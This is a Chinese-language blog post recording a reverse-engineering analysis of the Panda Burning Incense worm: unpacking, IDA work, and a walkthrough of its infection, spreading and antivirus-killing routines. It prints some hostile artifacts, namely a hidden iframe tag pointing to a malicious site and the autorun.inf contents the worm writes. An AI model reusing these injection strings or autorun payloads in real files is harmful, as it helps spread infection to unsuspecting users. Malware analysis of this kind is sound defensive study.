記錄對一些惡意代碼的分析的過程
標題
靜態(tài)分析
查殼——FSG 2.0
脫殼
1) ? OllyDump找到OEP:
2) ? OllyDump進行二進制Dump
3) ? ImportRCE進行導入表修復,并且將新的導入OD中Dump下的二進制文件中
4) ? 重新查殼:Delphi 編寫(該在調用函數(shù)時,利用寄存器進行函數(shù)參數(shù)傳遞)但是導入表中卻只識別出一個dll
5) ? 按照上述的方式脫殼后,會發(fā)現(xiàn)在調試程序時會報錯,這說明程序脫殼有問題,后來參考其他朋友的方博客才知道,原來是IAT中被插入了垃圾數(shù)據(jù),這些數(shù)據(jù)需要被手工修改。
6) ? 找到OEP,進入004049E8,再進入00404924,找到IAT首地址,再數(shù)據(jù)窗口中跟隨進行檢查,將其中的垃圾數(shù)據(jù)修改為00000000
7) ? 然后回到OEP利用OllyDump將程序Dump下來,然后重復第一次的脫殼操作;增卻脫殼后的程序用PEID檢查時會發(fā)現(xiàn)其導入表中的依賴庫非常多。
IDA分析
IDA載入樣本——所有的函數(shù)均未被IDA識別
由于程序是Delphi編寫,在IDA中加入Delphi的簽名
再看IDA窗口,部分函數(shù)已經(jīng)被正確識別:
首先調用函數(shù)InitExe進行初始化,然后多次調用LStrAsg函數(shù)進行字符串復制進行初始化:
繼續(xù)往下,發(fā)現(xiàn)第一個未識別的函數(shù)sub_405250,經(jīng)過分析可知該函數(shù)為一個解密函數(shù)
由于無法從IDA中無法方便地分析傳入的參數(shù),在IDA中的此處下段,然后發(fā)現(xiàn)傳入的參數(shù)為兩個字符串和一個棧地址,經(jīng)過此函數(shù)處理后,棧中保存了另一個同樣長度的字符串。
對函數(shù)sub_405250重命名
繼續(xù)往下,在0040D60A處又調用了此解密函數(shù)和LStrCmp進行字符串比較,此處是在進行程序的校驗,如果校驗失敗,則終止程序。
繼續(xù)往下,調用三個函數(shù):sub_40819C、sub_40D18C、sub_40D088,調用此三個函數(shù)后,程序的整個邏輯就較為簡單,并且?guī)缀鯚o其他函數(shù)調用,則說明這三個函數(shù)包含了大部分的惡意代碼的核心功能。
接下來對這三個函數(shù)分別分析
sub_40819C
sub_40819C —— 惡意程序駐留,創(chuàng)建并執(zhí)行bat文件和程序執(zhí)行路徑檢測
1)? 該函數(shù)首先進行一個循環(huán),進行132次循環(huán),每次進行兩次push 0操作,應該是進行??臻g的分配
2)? 繼續(xù)往下,發(fā)現(xiàn)一個未被識別的系統(tǒng)函數(shù),用OD 進行動態(tài)分析,發(fā)現(xiàn)此系統(tǒng)函數(shù)的功能就是獲取傳入路徑的目錄,在IDA中進行重命名SyS_GetPath_Folder。
3)? 發(fā)現(xiàn)會拼接一個當前程序的路徑和一個 Desktop.ini文件,應該是會訪問或者創(chuàng)建此文件,結合OD獲得此文件的路徑
4) ?繼續(xù)往下,發(fā)現(xiàn)會再次重復上一步的操作,獲取一個路徑然后修改其屬性,然后刪除此文件(此處的目的是檢查Desktop.ini文件是否是剛創(chuàng)建的,如果不是剛創(chuàng)建的,則對其進行刪除):
5) ?繼續(xù)往下,發(fā)現(xiàn)會調用一個函數(shù)sub_407650,該程序傳入的參數(shù)是當前程序的執(zhí)行路徑,執(zhí)行完的結構保存在var_4變量中,此處計算的結果是“MZ”,猜測他是一個程序路徑的校驗函數(shù)——重命名為“My_Guess_Path_Check”。
6)? 程序會在004082E7處經(jīng)過一個判斷,判斷不成功則進入一個循環(huán),最終都會跳轉到004082F3,其中sub_40521C為字符串大寫轉換,重命名為“My_Upper_Str“,
7)? 在OD中下段查看0040834F處的函數(shù)調用為:
8)? 繼續(xù)往下,會進行一個字符串判斷,其中判斷的量子字符串分別是當前程序的絕對路徑和前面拼接得到的系統(tǒng)路徑,也就是說此程序會進行自我復制和路徑檢查;將自我復制到系統(tǒng)路徑下,然后在運行時檢查是否運行在系統(tǒng)路徑下。
9)? 如果程序沒有運行在系統(tǒng)路徑下,那么惡意程序將會自我復制到系統(tǒng)路徑下也就是"C:\WINDOWS\SYSTEM32\DRIVERS\SPO0LSV.EXE" ,然后進行運行
10)? 如果程序運行在系統(tǒng)路徑下,最終都會執(zhí)行到00408584地址處:
11)? 此處調用函數(shù)sub_407B68和sub_405458,分別對兩個函數(shù)進行分析:
sub_40D18C
sub_40D18C —— 程序的惡意行為:感染受害者主機的文件sub_40D18C函數(shù)為惡意程序的主要功能模塊,跟入該函數(shù),發(fā)現(xiàn)調用三個函數(shù):
sub_40A5B0
1) 第一個函數(shù)sub_40A5B0主要功能是創(chuàng)建一個線程:
跟入線程的代碼塊,此處的代碼會先獲取磁盤目錄
接下來的主要功能集中在函數(shù)sub_409348中
sub_409348
跟入函數(shù)sub_409348進行分析,該函數(shù)非常復雜,應該是整個惡意程序的主要功能模塊,程序首先會遍歷被感染主機,然后根據(jù)文件的格式進行不同的操作:
對于文件夾的話,會在指定文件夾下創(chuàng)建DeskTop.ini文件,并且會對文件的創(chuàng)建時間進行校驗,如果不是此時產(chǎn)生的,則對文件進刪除。
對于不同的文件,采用不同的操作,這些文件被分為兩大類:
1) Exe, scr,fip, com,
2) Html, asp, php, jsp, aspx
對于第一類文件,均調用函數(shù)sub_407F00進行處理,第二類文件則調用函數(shù)sub_4079CC進行處理
結合動態(tài)檢測的結果,我們知道惡意程序會將所有的可執(zhí)行文件都變成了同樣的圖標,而此處的代碼正好會遍歷被感染主機中的所有文件,那么此處應該就是惡意程序的核心惡意行為部分,由于不同的文件類型會調用不同的函數(shù),我們來分別對上述的兩個函數(shù)進行分析:
a) 首先是sub_407F00
該函數(shù)首先對遍歷到的文件名進行校驗,看看是否是惡意程序本體
然后將遍歷到的文件讀取到內(nèi)存中
接下來檢查內(nèi)存中該文件的數(shù)據(jù)是否包含字符串“WhBoy”,此處用于檢測程序是否已經(jīng)被感染,如果已經(jīng)被感染,則不進行后面的感染操作,也就是說字符串“WhBoy”是程序感染的特征之一。
用當前運行的惡意程序替換為遍歷到的文件
接下來進行一個長的字符串拼接,一共6個字串拼接得到目標字符串,由于其中一個字符串是由被遍歷的文件數(shù)據(jù),一個系統(tǒng)函數(shù)和函數(shù)sub_405534處理得到。
用OD動態(tài)調試,查看到字符串,其中的?分別是0x1h和0x2h,字符串中見的數(shù)字應該是文件的大?。凰?,該字符的組成為:
”WhBoy” 程序名稱 “.exe” 0x1h 源文件大小 0x2h
繼續(xù)往下,就發(fā)現(xiàn)了整個惡意程序的核心功能,將被遍歷文件的真實數(shù)據(jù)添加到 “假的” 被遍歷的文件(此時被遍歷的文件已經(jīng)被惡意程序替換)后面,然后將上述拼接得到的字符串也添加到后面。
功能總結:系統(tǒng)的中的源文件被感染后變成了:惡意程序 源文件 感染標記字符串
b) 接下來是函數(shù)sub_4079CC
函數(shù)首先將被感染文件保存在內(nèi)存中,然后調用一個解密函數(shù)對兩個字符串進行了計算,
并且將字符串保存在遍歷var_8中,用OD調試得到的字符串如下,可以發(fā)現(xiàn)該字符串是一個隱藏的html窗口代碼,我們猜測改代碼會在html文件中插入了惡意代碼,能夠隱蔽地訪問惡意站點。
繼續(xù)往下,程序會判斷原始文件中是否已經(jīng)包含這個惡意的html代碼,以此來檢測文件是否已經(jīng)被感染,也就是代碼"</iframe src=http://www.ac86.cn/66/index.htm width=”0” height=”0”></ iframe>” 是第二類文件的感染標記
繼續(xù)往下,發(fā)現(xiàn)往文件中寫入惡意html代碼的部分:
用OD調試得到相關的具體信息,發(fā)現(xiàn)惡意的html代碼拼接了一個換行符 “\n” 和一個回車符 “\r”;繼續(xù)單步調試,能夠驗證00407A90處的函數(shù)為長度計算函數(shù),因為該函數(shù)的參數(shù)是拼接后的惡意html代碼,而計算后eax中的返回值正好是0x4Ch (十進制72),正好是惡意代碼的長度。
sub_40C374
跟入第二個函數(shù)sub_40C374,該函數(shù)會設置一個定時器,定時執(zhí)行TimerFunc處的代碼:
進入該代碼段進行分析,此處的代碼會拼接兩個字符串,一個是“C:\ setup.exe”,另一個是“C:\ autorun.inf”
繼續(xù)往下,會檢查這兩個文件的創(chuàng)建時間是否一致,如果時間不一致則將當前程序復制到“C:\ setup.exe”;如果時間一致,則會檢查當前程序是否是 “C:\ setup.exe”
如果不是,則刪除 “C:\ setup.exe”
接下來將源程復制到C盤根目錄并重命名為“C:\ setup.exe”
進行上述的程序復制后,會再進行一次時間校驗,如果滿足條件則跳轉到0040C10F 中,該部分應該是進行inf文件內(nèi)容的檢查,對比的內(nèi)容是 “[AutoRun]\r\nOPEN=setup.exe\r\nshellexecute=setup.exe\r\nshell\Auto\command=setup.exe\r\n”)
如果內(nèi)容不滿足條件,則將原來的inf文件刪除:
然后創(chuàng)建一個新的inf文件,并且將剛剛用于對比的內(nèi)容寫入到inf文件中:
接下來再將setup.exe與autorun.inf得屬性設為隱藏。
sub_40BACC
再跟入函數(shù)sub_40BACC, 該函數(shù)的組成較為簡單,主要調用了一個隨機數(shù)生成函數(shù)和函數(shù)sub_403C00
跟入函數(shù)sub_403C00,發(fā)現(xiàn)該函數(shù)會創(chuàng)建一個進程:
直接跟如該進程的地址并不能發(fā)現(xiàn)有用的信息,其中用動態(tài)的方式調用了一個函數(shù)call edx; 用OD進行下段查看函數(shù)的地址為0040BA8C:
跟入該地址0040BA8C,該地址塊代碼調用函數(shù)sub_40B864
跟入函數(shù)sub_40B864,發(fā)現(xiàn)該函數(shù)會將惡意代碼在內(nèi)網(wǎng)進行傳播
sub_40D088
sub_40D088 —— 設置定時器進行程序執(zhí)行和駐留
接下來分析函數(shù)sub_40D0881) 該函數(shù)內(nèi)部會多次調用定時器執(zhí)行代碼塊:
sub_40CEE4
sub_40D040
sub_40D048
sub_407430
sub_40CC4C
sub_40C728
1) 第一個代碼塊sub_40CEE4的功能:
該處的代碼會先進行調用函數(shù)sub_406E2C創(chuàng)建進程
該進程的代碼地址處首先進行提權操作,然后重復相同的代碼功能——即在當前的進程中搜索眾多的進程:
對相關的地址數(shù)據(jù)進行查看,發(fā)現(xiàn)這些進程均為殺毒進程:
除了殺毒軟件外,還有一些系統(tǒng)的任務管理進程被關閉:
也就是說,惡意程序會將這些殺毒進程和一些任務管理進程都進行關閉,防止被查殺和檢測。
接下來,將創(chuàng)建和修改注冊表,方便惡意程序的自啟動:
2) 代碼塊sub_40D040的分析
同樣會創(chuàng)建一個線程,線程的起始地址為sub_40C9B0
跟入線程的起始地址,該線程會先調用一個解密函數(shù)sub_40C4EC,然后調用函數(shù)sub_40C5E0利用QQ進行URL訪問,并且從指定的站點中下載文件,最后將西在的文件和解密的文件進行對比:
sub_40C5E0利用QQ進行URL訪問和下載文件
3) 第三個代碼塊sub_40D048功能分析:
創(chuàng)建兩個線程:
第一個線程sub_40CC34起始就是第二個代碼塊的線程起始地址此處進行了重復操作
第二個線程sub_40CDEC——刪除被感染主機的文件共享4) 第四個代碼塊sub_407430分析:
同樣創(chuàng)建線程:
關閉系統(tǒng)服務,殺毒進程服務和刪除某些注冊表
5) 第五個代碼塊sub_40CC4C分析和第六個代碼塊sub_40C728的功能就是前面各個代碼塊功能的組合。
利用cmd執(zhí)行命令:
緊接著繼續(xù)執(zhí)行另一個命令:
整個熊貓燒香的功能分析完成 (@_@)
總結:對熊貓燒香這個惡意程序的分析,相對比較完整,但是還有很多細節(jié)的部分沒有分析透徹,主要原因還是技術有限 /(ㄒoㄒ)/~~ (留下了沒有技術的淚水)。另外,在本次的分析過程中,由于相關的Delphi語言的基本函數(shù)未能被IDA識別,導致在分析的過程中非常吃力,除了需要分析作者的功能函數(shù)外,還需要分析很多Delphi語言的基本函數(shù),而這些基本函數(shù)又是比較難分析的 /(ㄒoㄒ)/~~ (再次留下了沒有技術的淚水)。
參考鏈接
在分析過程中參考了以下朋友們的博客:
參考鏈接1
參考鏈接2
參考鏈接3
來源:
https://www.icode9.com/content-4-869001.html
本站僅提供存儲服務,所有內(nèi)容均由用戶發(fā)布,如發(fā)現(xiàn)有害或侵權內(nèi)容,請
點擊舉報。